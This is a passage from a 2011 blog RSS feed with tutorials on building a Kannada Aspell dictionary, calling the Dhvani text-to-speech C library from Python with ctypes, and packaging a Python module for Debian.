href=&quot;http://pkg-ruby-extras.alioth.debian.org/wheezy/details.html&quot;&gt;http://pkg-ruby-extras.alioth.debian.org/wheezy/details.html&lt;/a&gt;&lt;/div&gt;
</description>
<pubDate>Sun, 15 May 2011 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2011/05/tutorial-packaging-ruby-gem-in-debian.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/05/tutorial-packaging-ruby-gem-in-debian.html</guid>
</item>



<item>
<title>Tutorial: Creating Aspell Dictionaries</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I recently created aspell-kn dictionary and thus I became author for atleast one upstream project ;).. In this tutorial I'm just going to summarize the steps involved in creating an aspell dictionary for a particular language (in my case Kannada).&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;First step is to get the latest source of aspell-lang from cvs. Yes aspell still uses cvs but we need the source only to get a map file for our language and belive it won't take much time even on slow connection (like mine) to checkout the source. Use following command to checkout the aspell-lang.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/aspell co aspell-lang&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;The above command will create aspell-lang in the directory where you executed it. Now change to &lt;i&gt;&lt;b&gt;aspell-lang/maps&amp;nbsp; &lt;/b&gt;&lt;/i&gt;directory. This directory contains language map files. Look for the map file for your language. If your language has Unicode charachter set the map file should &lt;i&gt;u-&lt;lang&gt;.txt&lt;/lang&gt;&lt;/i&gt;. In my case the file was &lt;i&gt;u-knda.txt&lt;/i&gt;. Open up the file in any editor and check if you need to add anything more than what is already in the file. This file actually maps 128-character Unicode space for the language to the space 128-255. Normally whatever content inside this file should be sufficient but for Indian scripts we require to map 2 Unicode control character &lt;a href=&quot;http://en.wikipedia.org/wiki/ZWJ&quot;&gt;ZWJ&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/ZWNJ&quot;&gt;ZWNJ&lt;/a&gt; This is how u-knda.txt looks after addition of these 2 control characters&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;0x11 = U+200C&lt;br /&gt;0x12 = U+200D&lt;br /&gt;0x80..0xFF = U+0C80..U+0CFF&lt;/i&gt;&lt;/blockquote&gt;Next step is to generate the &lt;i&gt;cmap&lt;/i&gt; and &lt;i&gt;cset&lt;/i&gt; file for the language. Under aspell-lang directory there is a perl script &quot;mkchardata&quot;&amp;nbsp; use this to generate &lt;i&gt;u-&lt;lang&gt;.cmap&lt;/lang&gt;&lt;/i&gt; and &lt;i&gt;u-&lt;lang&gt;.cset. &lt;/lang&gt;&lt;/i&gt;In my case I used following command to generate &lt;i&gt;u-knda.cmap&lt;/i&gt; and &lt;i&gt;u-knda.cset&lt;/i&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;perl mkchardata maps/u-knda.txt&lt;/i&gt;&lt;/blockquote&gt;&amp;nbsp;Now create a working folder for new directory &lt;i&gt;aspell-&lt;langcode&gt;&lt;/langcode&gt;&lt;/i&gt; in my case &lt;i&gt;aspell-kn, &lt;/i&gt;copy the u-&lt;lang&gt;.cmap and u-&lt;lang&gt;.cset to that directory .cmap and .cset is not mandatory file but I think if your language uses Unicode character set then these files are mandatory. Also create a &lt;i&gt;misc &lt;/i&gt;and copy u-&lt;lang&gt;.txt in to this folder.&lt;/lang&gt;&lt;/lang&gt;&lt;/lang&gt;&lt;br /&gt;Next we need to create &lt;i&gt;info &lt;/i&gt;file. This file contains information about the dictionary. Below is the info file I used for aspell-kn&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/959314.js?file=info&quot;&gt;&lt;/script&gt;&lt;br /&gt;As you can see all fields are self explantory. One thing I would like to mention here is &lt;i&gt;data-file &lt;/i&gt;field. If your language needs cset and cmap files then use this field to give their name.&lt;br /&gt;Next you need to create &lt;i&gt;Copying&lt;/i&gt; file describing the terms of dictionary usage. If you are using license other than standard license then licesne text should be placed in &lt;i&gt;COPYING &lt;/i&gt;file. For GPL licences this file will be created during processing phase.&lt;br /&gt;Next important file is &lt;i&gt;&lt;lang&gt;.dat &lt;/lang&gt;&lt;/i&gt;format of this file is described in aspell manual under chapter &lt;i&gt;&quot;Adding support for new language&quot; &lt;/i&gt;[1]. Below is the &lt;i&gt;kn.dat&lt;/i&gt; which I created.&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/959373.js?file=kn.dat&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Now we have all the required files. Copy &lt;i&gt;proc&lt;/i&gt; file from &lt;i&gt;aspell-lang&lt;/i&gt; (cloned from cvs) to your working directory and run it as shown below&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;./proc create&lt;/i&gt;&lt;/blockquote&gt;This will create &lt;i&gt;configure&lt;/i&gt; script and &lt;i&gt;Makefile.pre&lt;/i&gt; finally copy the word list file to working directory and name it as &lt;i&gt;&lt;lang&gt;.wl&lt;/lang&gt;&lt;/i&gt;. Word list file contains list of words seperated by new lines. Now run the following commands&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;./configure&lt;/i&gt;&lt;br /&gt;&lt;i&gt;make&lt;/i&gt;&lt;/blockquote&gt;This will convert the wl file to cwl (Compressed wordlist file using prezip tool). also creates a rws file. Now the dictionary is ready and to publish the dictionary to world use &lt;i&gt;make dist&lt;/i&gt; this will create a tarball for distribution. Note that tarball doesn't include .wl file it only contains cwl file.&lt;br /&gt;&lt;br /&gt;I created aspell-kn refering to the tutorial on Indlinux wiki [2]. The only reason of rewriting the entire tutorial is I felt the tutorial given in Indlinux wiki is not suitable for beginer (I being the one during creation of aspell-kn had to struggle a lot to get everything together).&lt;br /&gt;&lt;br /&gt;The source for aspell-kn is available at [3] and source for the Kannada wordlist is available at [4] aspell-kn can be downloaded from [5] and will be soon packaged for Debian :) &lt;br /&gt;&lt;br /&gt;[1] http://aspell.net/man-html/Adding-Support-For-Other-Languages.html#Adding-Support-For-Other-Languages&lt;br /&gt;[2] http://indlinux.org/wiki/index.php/IndicSpellchecker &lt;br /&gt;[3] https://gitorious.org/indic-projects/aspell-kn&lt;br /&gt;[4] https://gitorious.org/indic-projects/wordlist&lt;br /&gt;[5] http://sanchaya.net/downloads/aspell-kn/&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Fri, 06 May 2011 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2011/05/tutorial-creating-aspell-dictionaries.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/05/tutorial-creating-aspell-dictionaries.html</guid>
</item>



<item>
<title>Tutorial: Python and C Coupling Continued (Dhvani with Python)</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In my previous &lt;a href=&quot;http://vasudevkamath.blogspot.com/2010/07/python-and-c-coupling.html&quot;&gt;post&lt;/a&gt; I gave a brief tutorial on how to use C shared library in Python using ctypes module. The example for the tutorial was very simple and didn't involve any complex data structures. In this post I'll be giving a brief insight on how to use &lt;i&gt;ctypes&lt;/i&gt; to interact with C libraries involving complex data structures and function pointer. In this example I'll be using &lt;a href=&quot;http://dhvani.sourceforge.net/&quot;&gt;Dhvani&lt;/a&gt; an Indian Language TTS system. Here is the &lt;a href=&quot;http://dhvani.sourceforge.net/doc/apis.html&quot;&gt;Dhvani API reference. &lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;i&gt;&lt;b&gt;Problem:&lt;/b&gt;&lt;/i&gt; Use dhvani API's to genreate speech or a output file in Python&lt;/blockquote&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let's have a look at the Dhvani API reference (link given above). We have a structure&amp;nbsp; &lt;i&gt;&lt;b&gt;dhvani_options&lt;/b&gt;&lt;/i&gt; which is very important part of dhvani API. Below is the structure&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp; typedef struct {&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; struct dhvani_VOICE *voice; /* not used now.. for future use.*/&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; float pitch;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; float tempo;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int rate;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; dhvani_Languages language;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int output_file_format;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int isPhonetic;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int speech_to_file;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char* output_file_name;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; t_dhvani_synth_callback* synth_callback_fn;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; t_dhvani_audio_callback* audio_callback_fn;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_options;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&amp;nbsp;And an enum &lt;i&gt;dhvani_ERROR &lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_OK = 0,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_INTERNAL_ERROR = -1&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_ERROR;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now if we carefully observe the dhvani_options structure it involves a few complex data structure like &lt;i&gt;dhvani_VOICE&lt;/i&gt; (structure) &lt;i&gt;t_dhvani_synth_callback&lt;/i&gt; and &lt;i&gt;t_dhvani_audio_callback&lt;/i&gt; and an enum &lt;i&gt;dhvani_Languages&lt;/i&gt;. Besides this all others are basic data structures. I had to hack the dhvani source code to see what are this complex data structures are and below is the snippets which I found in dhvani source code.&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; HINDI = 1,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MALAYALAM = 2,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TAMIL = 3,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; KANNADA = 4,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ORIYA = 5,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PANJABI = 6,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; GUJARATI = 7,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TELUGU = 8,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BENGALI = 9,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MARATHI = 10,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; PASHTO = 11&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_Languages;&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef int (t_dhvani_synth_callback) (int);&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; typedef int (t_dhvani_audio_callback) (short *, int); &lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp;dhvani_VOICE&lt;/i&gt; structure was never defined it was meant only for future use, so it spared me some time :). I also found one more enum in the source which are used by the API's. I'm listing them below.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&lt;i style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp; typedef enum {&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_OGG_FORMAT = 0,&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DHVANI_WAV_FORMAT&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;&lt;i style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } dhvani_output_file_format;&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;So we need to define few enums and a dummy strucute and 2 function pointers in Python before we can define &lt;i&gt;dhvani_options&lt;/i&gt; structure in Python. Look at the below snippet&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/888072.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Since there is nothing equivalent to enums in Python we just define constants with int value to match enumeration in C. We are using &lt;i&gt;CFUNCTYPE&lt;/i&gt; from &lt;i&gt;ctypes&lt;/i&gt; library to define the callback function which are nothing but function pointers in &lt;i&gt;CFUNCTYPE&lt;/i&gt; allows us to specify the &lt;i&gt;return type&lt;/i&gt; of the functions and the &lt;i&gt;arguments&lt;/i&gt; to the function. Next is &lt;i&gt;dhvani_VOICE&lt;/i&gt; structure as you can see its just a place holder.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;So now we have defined all the required data structures its time we define the main structure of dhvani i.e &lt;i&gt;dhvani_options. &lt;/i&gt;Below is the snippet of code for defining &lt;i&gt;dhvani_options&lt;/i&gt; in Python.&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/888111.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;To define a structure we need to create a class that inherits from &lt;i&gt;ctypes.Structure&lt;/i&gt; clas. All the fields of the strucutre are defined as the list of tupples &lt;i&gt;__fields__&lt;/i&gt;. Each tuple contains a string specifying name of the field in C structure and its type. The new type you can see here is &lt;i&gt;POINTER&lt;/i&gt; which is a ctype function for C Pointer type. Rest of the code is self explanatory.&lt;/div&gt;&lt;br /&gt;With this we have all the required data structures defined in Python. Next step is to find the required functions and map them to Python equivalent function calls. Inspecting the dhvani API reference we&amp;nbsp; see that function calls &lt;i&gt;dhvani_say&lt;/i&gt; and &lt;i&gt;dhvani_speak_file&lt;/i&gt; are required to generate audio from the text. Below is the prototype of these functions.&lt;br /&gt;&lt;blockquote&gt;&lt;div style=&quot;font-family: Arial,Helvetica,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;dhvani_ERROR dhvani_say(char *, dhvani_options *);&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;i&gt; dhvani_ERROR dhvani_speak_file(FILE *, dhvani_options *);&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;&amp;nbsp;dhvani_say&lt;/i&gt; is a simple function but &lt;i&gt;dhvani_speak_file&lt;/i&gt; expects &lt;i&gt;FILE&lt;/i&gt;* as first argument!! Now that is problematic, we don't have anything equivalaent to C's &lt;i&gt;FILE*&lt;/i&gt; structure. After searching for a while finally I found this &lt;a href=&quot;http://stackoverflow.com/questions/3794309/python-ctypes-python-file-object-c-file&quot;&gt;answer&lt;/a&gt;. The trick is use Python's &lt;i&gt;file&lt;/i&gt; object to open the file and use &lt;i&gt;fileno() &lt;/i&gt;API of &lt;i&gt;file&lt;/i&gt; object to get back the integer file descriptor, then use &lt;i&gt;fdopen&lt;/i&gt; function call provided by standard C library to get back &lt;i&gt;FILE*&lt;/i&gt; structure for the descriptor. Since dhvani uses standard C library shared library of dhvani will contain reference to &lt;i&gt;fdopen&lt;/i&gt; so next step is to map &lt;u&gt;&lt;i&gt;fdopen&lt;/i&gt;&lt;/u&gt; to Python function call. Below is prototype of &lt;i&gt;fdopen&lt;/i&gt; which I'll be using.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;FILE *fdopen(int fd, const char *mode);&lt;/span&gt;&lt;/i&gt;&lt;/blockquote&gt;&amp;nbsp;And below is the snippet for mapping all these 3 functions to Python&lt;br /&gt;&lt;br /&gt;&lt;script src=&quot;https://gist.github.com/888127.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;As you can see wherever &lt;i&gt;FILE*&lt;/i&gt; was used in C functions I used &lt;i&gt;c_void_p&lt;/i&gt; i.e void pointer, this is mainly because pointers all have same memory size the type only indicates what type of content is present in the memory location pointed by the pointers. So in this case I'm telling python run-time that its void pointer but during the call where prototype expects (FILE*) it will be automatically typecasted (at least I assume so if you have better explanation please comment)&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;So we have everything read now and we can directly use dhvani API's to get the audio generated for any Indian Language from our python code. Below is the code of tts module of &lt;a href=&quot;http://silpa.org.in/&quot;&gt;SILPA&lt;/a&gt; which now uses dhvani shared library and is out of its experimental status.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;script src=&quot;https://gist.github.com/888132.js&quot;&gt; &lt;/script&gt;&lt;br /&gt;&lt;br /&gt;I won't be explaining rest of the code here as its self explanatory and my job was to explain the important part i.e coupling dhvani library with Python. And that is done :). Please give the suggestions in comments :)&lt;br /&gt;&lt;br /&gt;&lt;b style=&quot;color: red;&quot;&gt;&lt;i&gt;P.S: The entire code may not be directly usable as it has code required to integrate it with SILPA&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;-- Vasudev&lt;/div&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 26 Mar 2011 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2011/03/tutorial-python-and-c-coupling-continued-dhvani-with-python.html</link>
<guid isPermaLink="true">http://copyninja.info/2011/03/tutorial-python-and-c-coupling-continued-dhvani-with-python.html</guid>
</item>



<item>
<title>Tutorial: Python module packaging for Debian</title>
<description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;In this post I would like to share my experience on packaging &lt;a href=&quot;https://savannah.nongnu.org/projects/pypdflib&quot;&gt;my first python module&lt;/a&gt; for Debian. Its still waiting in the &lt;a href=&quot;http://ftp-master.debian.org/new.html&quot;&gt;new queue&lt;/a&gt; to enter experimental branch of Debian. I would like to give a brief overview of the python module packaging here. I assume the reader knows basics of python module packaging and has gone through the Debian New Maintainers guide.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For Python module packaging first step is to get the source from the &lt;a href=&quot;http://pypi.python.org/pypi&quot;&gt;pypi &lt;/a&gt;. In my case since I was one of the developer for pypdflib, I just ran the below command to get tar.gz file for pypdflib&lt;/div&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;python setup.py sdist &lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;The archive will be created under &lt;i&gt;dist&lt;/i&gt; folder. In my case archive name was &lt;i&gt;pypdflib-0.1.a2.tar.gz&lt;/i&gt;. Now copy that to a folder where you want to create the package.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now we need to install a tool called &lt;i&gt;python-stdeb - Python to Debian source package conversion utility. &lt;/i&gt;Run the below command to get the package installed&lt;/div&gt;&lt;blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;i&gt;sudo aptitude install python-stdeb&lt;/i&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;Now run the below command to create a .dsc and module source with debian folder template inside it.&lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;py2dsc -m 'Your Name &lt;your@email&gt;' package-version.tar.gz&lt;/your@email&gt;&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;Replace the fields appropriately it will create a folder &lt;i&gt;deb_dist&lt;/i&gt; in the same directory and the extracted source with debian folder template will be placed under it. &lt;/div&gt;&lt;blockquote&gt;&lt;i&gt;deb_dist&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; |&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; |___ package-version&lt;/i&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Now enter debian directory and edit the &lt;i&gt;control&lt;/i&gt; 